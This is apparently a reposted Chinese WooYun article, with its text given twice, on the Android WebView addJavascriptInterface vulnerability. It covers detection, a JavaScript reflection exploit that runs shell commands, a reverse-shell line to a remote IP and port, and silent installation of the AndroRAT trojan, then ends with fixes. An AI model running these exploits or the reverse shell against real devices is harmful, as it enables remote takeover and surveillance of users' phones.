再谈webview漏洞
2013-10-23 20:07
357 查看
转自http://drops.wooyun.org/papers/548
在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
在android 代码程序一般是这样使用:
这里可以用
代码来查找。
但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
在smali代码中 则是类似下列的代码:
当检测到存在上述代码时,可以进行进一步验证利用:
在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
利用java的exec执行linux的shell命令。
套用yuange的一句话:Poc远远小于exp的价值。
利用addJavascriptInterface实现shell.
Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
使用了java的反弹shell方法
在Nexus One 4.3的android虚拟机 并未成功弹出shell.
后发现android中可执行 nc命令 (阉割版的不带-e的nc)
这里用了nc的另外一种弹shell的方法完成
Exp 内容:
// 注 xxx 保护隐私用xx代指。
效果如下 
当然可以用远程IP地址。
毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。
再升华下,实现网页挂马。
Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。
这里以androrat远控木马为例。
实现网页挂马
大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。
这样存在几个问题:
andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
/data/app/ 目录存在权限问题,需要root,chmod 也是同理。
Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。
经过进行fuzz实验,完成了挂马功能:
将androrat.apk拆分。
利用echo写入到sdcard中(此目录可读可写 不可执行)。
利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。 
Androrat 成功安装,这里使用了androrat的debug=true模式。
成功连接到控制端。
1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。
2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
3、控制相关权限或者尽可能不要使用js2java的bridge。
Link: http://developer.android.com/reference/android/webkit/WebView.htmlhttp://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
java.lang.String)http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314
0x00 背景
在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
0x01 检测利用
一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。在android 代码程序一般是这样使用:
[code]apk->zip->dex->dex2jar->jdgui->java
代码来查找。
但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
在smali代码中 则是类似下列的代码:
[code]const-string v0, " js2java " invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
当检测到存在上述代码时,可以进行进一步验证利用:
在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
[code]<script> function execute(cmdArgs) { return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } … </script>
利用java的exec执行linux的shell命令。
0x02 远程获取shell
套用yuange的一句话:Poc远远小于exp的价值。利用addJavascriptInterface实现shell.
Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
使用了java的反弹shell方法
[code]//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
在Nexus One 4.3的android虚拟机 并未成功弹出shell.
后发现android中可执行 nc命令 (阉割版的不带-e的nc)
这里用了nc的另外一种弹shell的方法完成
Exp 内容:
效果如下 
当然可以用远程IP地址。
0x03 远程挂马
毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。再升华下,实现网页挂马。
Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。
这里以androrat远控木马为例。
实现网页挂马
大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。
andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
/data/app/ 目录存在权限问题,需要root,chmod 也是同理。
Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。
经过进行fuzz实验,完成了挂马功能:
利用echo写入到sdcard中(此目录可读可写 不可执行)。
利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。 
Androrat 成功安装,这里使用了androrat的debug=true模式。
成功连接到控制端。
0x04 修复
1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
3、控制相关权限或者尽可能不要使用js2java的bridge。
Link: http://developer.android.com/reference/android/webkit/WebView.htmlhttp://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
java.lang.String)http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314
相关文章推荐
- android 开发学习1_用户界面(连载)
- Android源码获取过程卡住 repo sync 卡住
- cocos2dx-plugin for ios
- 文件加密解密小程序
- [DEVDIV原创] Android系统的初始化流程
- Android结构各层
- cocos2d-x跨android&ios平台开发入门教程
- Android推送方案分析(MQTT/XMPP/GCM)
- Android ViewGroup实现页面滑动效果并实现不同的动画效果(转载)
- windows环境搭建ios+xcode
- 对 Android 开发者有益的 40 条优化建议
- Android新的menu实现——ActionMode
- cocos2d-x模拟摇杆
- IOS开发第二讲 基本数据类型 类的新建 一些常用技巧
- android背景色及字体色设置
- [cocos2d-x]场景动画切换过渡大全
- iOS屏幕旋转
- 根据页面edittext的内容控制按钮可点击状态
- cocos2dxv2.1.5版本cocostduio_gui绑定到lua
- Android SidingMenu 简单版本使用